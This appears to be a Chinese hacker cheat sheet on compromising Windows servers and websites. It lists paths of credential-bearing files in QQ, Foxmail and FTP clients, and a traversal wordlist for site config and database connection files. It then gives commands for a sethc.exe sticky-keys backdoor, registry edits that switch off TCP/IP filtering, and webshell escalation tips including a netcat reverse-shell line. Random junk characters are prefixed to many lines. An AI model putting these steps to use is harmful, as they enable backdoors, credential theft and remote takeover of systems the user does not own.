c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
9 X) X( @% f: ?c:\Program Files\Tencent\RTXServer\AppConfig.xml
% u6 r$ t- K# x1 E! k5 O$ ]/ GC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
- i; r# B  e% ?7 b9 c& C2 yC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
/ y6 P: ?; y$ t9 E: r1 zc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
8 B7 R$ M# l( j$ L- q( Uc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
/ \7 K) M/ t1 m. qC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
+ l) u! f  N" ^9 L& T" \c:\Program Files\腾讯游戏\QQGAME\readme.txt
: ~' \0 y, `/ ~4 w% M. ]c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
8 P9 K" V& w3 Gc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

3.网站相对路径:

/config.php
../../config.php
../config.php
../../../config.php
/config.inc.php
/ ~) P, b; ]2 K4 q./config.inc.php
" z$ \7 S+ n+ h' D8 p../../config.inc.php
- W) b0 X; n+ j2 O; Y4 s../config.inc.php
../../../config.inc.php
/conn.php
1 Y* A/ B; b' `1 e./conn.php
../../conn.php
../conn.php
9 Q% O8 L% A, M' v2 l: B../../../conn.php
/conn.asp
& @" ^, ]" X' b) ]& ]  @9 c: N./conn.asp
../../conn.asp
' w) z7 z6 u+ G1 d( s% b! R9 G../conn.asp
../../../conn.asp
+ M3 _6 z7 ?9 A# a; M2 V/config.inc.php
./config.inc.php
../../config.inc.php
2 n" U. }+ w. X+ }# s! Y../config.inc.php
../../../config.inc.php
( t% f7 q3 {) A3 Z+ t6 P* U" h! c/config/config.php
../../config/config.php
../config/config.php
  M; @* y$ F& S+ T3 |; [& ^../../../config/config.php
/config/config.inc.php
./config/config.inc.php
# b" k0 O0 _# S% _& b1 t../../config/config.inc.php
../config/config.inc.php
& H( R' k( t/ j+ C../../../config/config.inc.php
% l. L3 f2 P# ^7 ]4 y& V/config/conn.php
. p6 I  \+ E/ |6 D./config/conn.php
7 Y4 d6 {5 h8 `. p; ~% S../../config/conn.php
7 g" K$ L! R0 v" O' W../config/conn.php
../../../config/conn.php
/config/conn.asp
* ?& y% D/ g1 }+ q; m- {./config/conn.asp
) o2 q3 c; v& C' U6 V../../config/conn.asp
../config/conn.asp
9 M/ I) V" u- P) l1 |7 G& U& X../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
, k6 d5 Y/ ^2 D$ ]2 ~% H../../config/config.inc.php
../config/config.inc.php
' g! U' X- {# s' V/ }../../../config/config.inc.php
3 n8 g7 S5 S, V/data/config.php
../../data/config.php
# ^& t# [  U5 J2 z* e../data/config.php
9 b7 g8 ^3 D/ Z% Z7 m" G../../../data/config.php
/data/config.inc.php
./data/config.inc.php
. L7 ]4 O/ ~& r0 v+ w4 ~) P../../data/config.inc.php
../data/config.inc.php
1 F# D/ g+ ^$ o../../../data/config.inc.php
/data/conn.php
: t& q# Q- T  h* R8 S; i9 Y./data/conn.php
../../data/conn.php
3 d! d( T# V( Z) g, x! H: B% z, R../data/conn.php
../../../data/conn.php
* T% _4 Z% p+ C8 S6 T4 P4 ]/data/conn.asp
+ J: Y0 [9 @/ y3 S  h& O" E./data/conn.asp
../../data/conn.asp
5 }+ x7 q1 f/ X, X../data/conn.asp
  f6 W9 k' M5 x4 b5 A6 ~- w% e../../../data/conn.asp
9 ~: N4 _$ [# }/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
8 R. A' _  P+ S% a" ~3 s../data/config.inc.php
../../../data/config.inc.php
2 t1 w$ ^( s  y! S& ?4 N/include/config.php
../../include/config.php
../include/config.php
9 N, _0 s+ Y: o4 J2 r5 Z, q& N../../../include/config.php
/include/config.inc.php
' x1 J: a, G+ ?./include/config.inc.php
../../include/config.inc.php
/ N. }: t4 G/ l% H5 W# q! X/ Y../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
./include/conn.php
) ~6 ]* l9 t1 K6 p, {4 H0 u/ d../../include/conn.php
) N# o( h/ Z  ~; P4 w3 a../include/conn.php
../../../include/conn.php
/include/conn.asp
2 T6 v+ A, w9 }/ P2 n+ X5 x./include/conn.asp
  o" f4 W' V) V../../include/conn.asp
../include/conn.asp
7 m% R) W6 `5 g8 S3 J! K$ B../../../include/conn.asp
/include/config.inc.php
0 x" C4 c0 S" @7 m. d  s# I./include/config.inc.php
; q9 S. k0 D, ]* v* I../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
& ~- `& T- ]/ P! Y../inc/config.php
../../../inc/config.php
4 W" t* g; B! Y% c+ N+ i/ S/inc/config.inc.php
./inc/config.inc.php
! f% D7 ?0 i' k- I* i( d5 j../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
! a8 L* ?( r+ {# ]( r/inc/conn.php
./inc/conn.php
../../inc/conn.php
* R% L; w6 W5 @& V' I4 R../inc/conn.php
../../../inc/conn.php
& A& b2 A0 Q% i5 c, y/inc/conn.asp
./inc/conn.asp
& ^" C6 t6 E9 c1 n4 `../../inc/conn.asp
- n+ e' W. H& n3 E& q../inc/conn.asp
8 e5 b- c4 N# w8 p% B3 T7 v' K../../../inc/conn.asp
/inc/config.inc.php
% w/ |: ^+ Z; F4 I$ B3 L5 c1 F./inc/config.inc.php
# R) G9 x; e1 t: }+ N../../inc/config.inc.php
../inc/config.inc.php
: ?# r( O% T6 O$ y../../../inc/config.inc.php
4 l  \& _: v' w* M6 A/ e/index.php
* I+ L! T. Y1 Z# C8 @, n( x./index.php
../../index.php
; r0 w* x9 Y. I( h& j9 A$ `  @../index.php
8 C+ S4 x& _5 t+ S8 _../../../index.php
  Y5 M4 J0 \7 F/index.asp
./index.asp
8 v4 a# a8 p: p( E, c7 X../../index.asp
../index.asp
5 Z5 S% ?$ r  t  J5 s- V  J$ D9 [9 K$ Z../../../index.asp
0 t' m% q- p! }* u6 o/ j替换SHIFT后门
: Y1 x1 S- J" J/ f, p6 n　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

1 a3 X6 I+ f9 H5 S　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
+ r5 u5 c  a+ Y$ H( m% p
9 I' K( u1 q$ t& K# v: }" h4 b& y& c; D% E　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
8 W( E7 m! A( E5 q( L  J8 }
　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
8 L5 B- {- u$ I* v4 M7 m5 ^去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

% X; S* |$ O6 I% Y4 Z% [4 V( V( r分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
! b4 q  z# Z% h* S! c; W+ pregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
6 ~6 _" L0 v! V/ ?+ p命令来导出注册表项

9 z' |, Q& D- O然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
" U* t: E; ^$ ~
) P% Z% F  x) A1 a+ h1 w! }6 _* U再将以上三个文件分别用
regedit -s D:\a.reg
: Q0 _4 V1 `0 O( Wregedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
8 i/ g5 o7 C; t* Y* y3 j, b
2 Y6 C+ K) P6 X( ewebshell提权小技巧
5 C- F' ~. _% w( e" K9 ]cmd路径:
, \1 |2 w* K6 [! Z8 r7 }c:\windows\temp\cmd.exe
. f8 L# ~0 \6 i& ]6 Q0 Znc也在同目录下
9 X6 N8 j7 B9 a! G. ^例如反弹cmdshell：
. N+ I; U- z8 X+ x- U/ Q"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
+ k7 |0 E# M7 n/ s' W$ M$ h通常都不会成功。

3 I, X6 F! s% N而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
, Y# @- e% M/ a" y命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
2 G, y  B! s. |; K% v- S却能成功。。
1 u$ k) ?4 x/ d. ~- x- `这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功